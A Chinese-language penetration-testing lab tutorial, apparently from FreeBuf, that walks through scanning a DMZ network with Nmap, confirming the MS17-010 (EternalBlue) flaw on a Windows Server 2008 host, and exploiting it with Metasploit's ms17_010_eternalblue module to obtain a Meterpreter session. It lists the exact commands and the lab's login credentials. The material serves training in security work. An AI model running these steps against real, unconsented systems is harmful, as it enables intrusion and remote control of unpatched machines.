渗透测试 | 基于Metasploit工具进行简单的渗透测试
本文介绍了一个实验过程,通过Nmap和Metasploit工具对DMZ区主机进行信息收集和漏洞检测,成功利用MS17-010漏洞建立会话连接。 2025-12-24 03:55:33 Author: www.freebuf.com(查看原文) 阅读量:4 收藏

【实验目的】

通过对DMZ区的主机进行信息收集,使用Nmap寻找可利用的漏洞和使用Metasploit对其漏洞检测并成功利用漏洞返回会话,了解并掌握Metasploit命令的使用方法。

【知识点】

Metasploit

【实验原理】

(1)Metasploit
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。

(2)永恒之蓝漏洞
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

微软已于2017 年 发布MS17-010补丁,修复了“永恒之蓝”攻击的系统漏洞,一定要及时更新Windows系统补丁;务必不要轻易打开doc、rtf等后缀的附件;内网中存在使用相同账号、密码情况的机器请尽快修改密码,未开机的电脑请确认口令修改完毕、补丁安装完成后再进行联网操作,可以下载“永恒之蓝”漏洞修复工具进行漏洞修复。

【软件工具】

  • 服务器:Windows Server 2008 1台;防火墙 1台;Kali Linux 1台;Centos 7 2台;

  • 交换机/路由:交换机 2台;路由器 1台;

  • 软件:NMap;Metasploit。

【实验拓扑】

【实验预期】

能够通过信息收集确定目标服务器,并能够利用Metasploit工具对目标服务器进行漏洞检测和利用。

【实验思路】

  1. 对目标网段和服务器端口、服务进行信息收集;

  2. 利用Metasploit工具检测目标服务器是否存在ms17-010漏洞;

  3. 对目标服务器进行MS17-010漏洞利用。

【实验步骤】

1.对目标网段信息收集

(1)使用nmap进行信息收集

登录拓扑图左上方的【攻击机1-kali Linux】,用户名/密码:root/com.1234。右键单击虚拟机桌面空白处,选择【Open Terminal Here】选项,在【攻击机1-kali Linux】中打开终端窗口。

在攻击机1-kali Linux终端中输入msfconsole命令并按下回车键,进入Metasploit控制台界面。

在Metasploit控制台中输入以下命令并按下回车键,对目标网段进行扫描,发现当前网段中存在5台存活主机,此时就可以分别对这些主机的开放端口、操作系统类型、运行服务等信息进行收集,目标主机探测。

nmap -sN 202.1.10.0/24

注:nmap 中的-sN参数表示为只进行主机发现,不进行端口扫描。

继续使用Nmap工具对主机进行信息收集,在Metasploit控制台中输入以下命令并按下回车键,对目标IP进行精确扫描,可发现目标主机的操作系统类型为Windows Server 2008,并开放445端口,同时可能存在MS17-010漏洞。

nmap -O -A 202.1.10.34

注:真实攻击环境中,通常会扫描内网很多网段,时间也会花费比较长;这里为了节约时间,本实验以扫描202.1.10.34为例进行了精确扫描。

-O参数表示探测主机操作系统

-A 参数表示进行系统探测、版本检测、脚本扫描、路由追踪

2.检测MS17-010漏洞是否可利用

(1)Nmap脚本检测MS17-010漏洞

继续使用Nmap工具对目标主机进行MS17-010漏洞检测,在Metasploit控制台中输入以下命令并按下回车键,检测出存在MS17-010漏洞。

nmap --script smb-vuln-ms17-010.nse 202.1.10.34

注:–script表示指定漏洞脚本

(2)利用Metasploit工具检测目标服务器是否存在MS17-010漏洞

目标主机可能存在MS17-010漏洞或其它脆弱点,如弱口令、恶意文件上传等其他类型漏洞。通过Metasploit的扫描和探测模块,对目标进行扫描,确认是否具备漏洞可利用条件。使用search命令可以在Metasploit漏洞库中查找可被利用的MS17-010漏洞检测模块,输入以下命令。

search ms17-010

使用use参数选择指定模块,输入以下命令选择指定auxiliary模块下的MS17-010检查模块并按下回车,进入该模块如下图所示。

use auxiliary/scanner/smb/smb_ms17_010

使用【option】或【show option】命令显示需填写的参数选项,本实验以【option】命令为例子输入命令并按下回车,显示出需填写的参数,在【Required】列表示为必填项,而在本模块中必填项为【RHOSTS】。

注:命令或参数填写时,可不区分大小写。

RHOSTS参数表示为目标主机

使用set命令对 RHOSTS参数填写目标主机IP,输入以下命令指定目标主机IP。

set rhosts 202.1.10.34

填写完成后,再次【option】命令检查参数是否填写正确,可以看到在【Current Setting】选项列中,已正确填写目标主机IP【202.1.10.34】。

注:输入模块或参数时,使用Tab键进行命令补全。

使用run命令,执行该模块,可看到已检测出目标主机存在MS17-010漏洞。

3.MS17-010漏洞利用

使用search命令可以在Metasploit漏洞库中查找可被利用的MS17-010漏洞利用模块。

search ms17-010

使用use参数选择指定模块,输入以下命令选择指定exploit模块下的MS17-010漏洞利用模块并按下回车,进入该模块如下图所示。

use exploit/windows/smb/ms17_010_eternalblue

使用【option】或【show option】命令显示需填写的参数选项,本实验以【option】命令为例子输入命令并按下回车,显示出需填写的参数,在【Required】列表示为必填项,而在本模块中必填项为【RHOSTS】,在【Exploit target】选项中表示本模块的目标主机操作系统类型只支持Windows 7 ~ Windows Server R2 版本。

在【Payload options】选择中已自动填写完成本机监听IP和本机监听端口,可根据实际需求,使用set 命令对LHOST和LPORT参数进行更改,本实验以默认设置为例。

使用set命令对 RHOSTS参数填写目标主机IP,输入以下命令指定目标主机IP。

set rhosts 202.1.10.34

使用run命令,执行该模块,可看到已成功利用该漏洞并返回一个会话【67.220.91.30:4444 →202.1.10.34:49190】。

注:该模块执行后,需等待几分钟后,即可返回meterpreter后渗透模块。

【实验结论】

通过上述实验操作,对DMZ区的主机进行信息收集,使用Nmap寻找可利用的漏洞和使用Metasploit对其漏洞检测并成功利用漏洞建立会话连接,满足实验预期要求。


文章来源: https://www.freebuf.com/articles/sectool/463537.html
如有侵权请联系:admin#unsafe.sh